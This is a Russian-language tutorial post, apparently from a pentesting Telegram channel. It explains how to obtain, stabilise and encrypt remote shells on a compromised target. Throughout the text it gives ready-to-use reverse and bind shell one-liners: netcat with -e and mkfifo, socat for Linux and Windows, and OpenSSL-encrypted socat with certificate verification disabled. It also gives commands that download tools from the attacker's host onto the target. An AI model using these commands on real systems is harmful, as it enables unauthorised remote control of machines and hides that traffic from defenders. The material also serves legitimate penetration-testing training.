При изучении наступательной информационной безопасности, например, тестирования веб-приложений на предмет уязвимостей, рано или поздно может возникнуть вопрос о полной компрометации инфраструктуры, на которой развернуто приложение. Получив доступ к целевой системе, злоумышленник может взаимодействовать с БД и другими важными сервисами напрямую, вносить неожиданные неплановые корректировки в их работу, атаковать соседние узлы во внутреннем контуре, компрометировать конфиденциальную информацию или даже вывести систему/ы из строя
Мало вероятно, что при первом проникновении в среду удастся сразу получить такой прямой доступ и молниеносно захватить всю инфраструктуру. Обычно после получения первоначального доступа необходимо провести некоторую эксплуатацию в системе, например, повышение привилегий. Для этого требуется установить полноценную и надежную интерактивную оболочку между добрым специалистом по информационной безопасности и целевой системой
Существует два типа командных оболочек: обратные - reverse и привязанные - bind. В случае обратной оболочки целевая система сама инициирует подключение к прослушивающему порту на ОС злоумышленника. Для этого злоумышленнику нужен белый IP-адрес или проброс порта во внешнюю сеть. Эта техника полезна, когда у жертвы нет статического белого IP-адреса или настроен огненный экран, блокирующий весь входящий трафик. Для привязанной оболочки происходит пропорционально обратная манипуляция: на целевой системе запускается командная оболочка на определённом порту, к которому злоумышленник инициирует подключение. Для этой манипуляции злоумышленнику необязательно иметь белый IP-адрес
Начнём с базовых стандартных системных инструментов, которые есть из коробки во многих дистрибутивах Linux
Netcat - швейцарский нож для сетевых администраторов, представляет собой многофункциональный инструмент для работы с сетями, который может использоваться для чтения и записи данных через сетевые соединения с использованием протоколов TCP и UDP
Запустите c помощью netcat прослушиватель на определённом порту
nc -lvnp $PORT
В данной команде $PORT это номер порта от 1024 до 65535 (2^16 - 1)
- -l - netcat будет выступать в роли прослушивателя
- -v - более подробный вывод
- -n - не использовать DNS
- -p - параметр для передачи номера порта
Обратите внимание на веб-сайт revshells.com, там можно составить и найти множество полезных нагрузок, на любой вкус и цвет
Выполните вызов для того, чтобы установить обратную оболочку
nc $IP $PORT -e /bin/sh
Если вы сделали всё правильно, то у вас перед глазами должна появиться оболочка командной строки sh от пользователя системы, с которой вы выполнили обратный вызов
Для того, чтобы нормально пользоваться автодополнением, горячими клавишами bash, vim'ом, другими TUI программами, предлагаю выполнить следующую инструкцию
Запустите следующую команду
python3 -c 'import pty;pty.spawn("/bin/bash")'
Установите нужный тип терминала. Это улучшит совместимость и отображение интерфейса
export TERM=xterm-256color
Задайте переменную $SHELL
export SHELL=/bin/bash
Нажмите сочетание клавиш CTRL+Z, чтобы приостановить текущий процесс и вернуться к оболочке хостовой системы, затем выполните
stty raw -echo; fg
- stty raw -echo - переводит терминал в режим raw, отключая эхо ввода, что позволяет передавать данные напрямую без обработки
- fg - возвратит приостановленный процесс на передний план
Настройте размер терминала. Выполните stty -a в другом терминале на хостовой системе, чтобы узнать нужное количество строк и столбцов. Затем выполните следующую команду на целевой системе для установки соответствующих значений
stty rows <строки> columns <колонки>
Или
export LINES=<строки> COLUMNS=<колонки>
Необязательно каждый раз для стабилизации оболочки проводить описанные выше манипуляции. Для автоматизации процесса можно воспользоваться rlwrap
rlwrap -cAr nc -lvnp $PORT
- -c - отслеживание рабочего каталога команд, автоматическое дополнение путей
- -A - убирает ANSI-цвета
- -r - составляет дополнения из прочитанного ввода
Также стоит отметить, что в большинстве версий netcat'а нет опции -e, так как она была признана небезопасной. Поэтому предлагаю вашему вниманию два трюка с использованием именованного конвейера - mkfifo:
Bind shell
mkfifo /tmp/f; nc -lvnp $PORT < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Reverse shell
mkfifo /tmp/f; nc $IP $PORT < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Перейдём к более продвинутым техникам. Я предлагаю рассмотреть инструмент socat. Он имеет аналогичный netcat'у функционал, но обладает полезными для нас возможностями прямо из коробки: встроенная поддержка шифрования и функционал создания интерактивной сессии. Установите его на хостовую и целевую системы
Скачать socat можно по ссылке (также можно воспользоваться пакетным менеджером)
Ссылка на мануал утилиты socat
Теперь выполните доставку необходимого бинарного файла на целевую систему
wget $IP/socat -O /tmp/socat
chmod +x /tmp/socat
Команда для компьютера под управлением Microsoft Windows
Invoke-WebRequest -uri $IP/socat.exe -outfile
C:\\Windows\temp\socat.exe
Пример обратной оболочки:
Прослушиватель (машина атакующего)
socat TCP-LISTEN:$PORT FILE:`tty`,raw,echo=0
Обратный вызов с целевого компьютера под управлением Linux
socat TCP:$IP:$PORT EXEC:"bash -
li",pty,stderr,setsid,sigint,sane
Обратный вызов с целевого компьютера под управлением Microsoft Windows
socat TCP:$IP:$PORT EXEC:powershell.exe,pipes
Пример привязанной оболочки:
На целевых компьютерах
Под управлением Linux
socat TCP-L:$PORT EXEC:"bash -li"
Под управлением Microsoft Windows
socat TCP-L:$PORT EXEC:powershell.exe,pipes
Команда для инициализации подключения с машины атакующего
socat TCP:$TARGET_IP:$TARGET_PORT -
После получения стабильной и интерактивной оболочки, стоит задуматься над следующими вопросами:
- Насколько эта оболочка стабильна? Что делать, если оболочка всё-таки оборвётся во время выполнения процесса?
- Как зашифровать коммуникацию между своей и целевой системой?
1. Чтобы избежать таких казусов, я предлагаю запускать нужные процессы в сессиях консольных мультиплексоров, таких как tmux
Создайте именованную сессию tmux
tmux new-session -s <имя сессии>
Теперь, если соединение с терминальной сессией оборвётся по какой-то причине, вы сможете просто заново подключиться к нужной сессии tmux из терминала и у вас сохранится контекст работы процесса
tmux a -t <имя сессии>
2. Одним из вариантов решения этого вопроса является создание зашифрованного туннеля с использованием сертификата посредством socat
Сгенерируйте сертификат с помощью openssl
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
Выполните слияние файлов shell.key и shell.crt в shell.pem
cat shell.key shell.crt > shell.pem
Используйте опцию verify=0 , чтобы не проверять сертификат на вшивость
Запустите защищённый сертификатом прослушиватель
socat OPENSSL-LISTEN:$PORT,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0
После выполните обратное подключение
socat OPENSSL:$IP:$PORT,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Если все действия выполнены согласно представленному рецепту, вы должны получить защищённую обратную оболочку с использованием сертификата между целевой системой и вашей системой
Заключение: С помощью приведённых в посте техник можно улучшить тестирование на проникновение, создавая комфортные для эксплуатации условия
Disclaimer: Автор не несёт ответственность за неправомерные действия, совершенные на основе изложенного контента
Также этот пост можно посмотреть в телеграм канале Unauth Papaya в двух частях:
- 1 часть - https://t.me/unauth_papaya/24
- 2 часть - https://t.me/unauth_papaya/25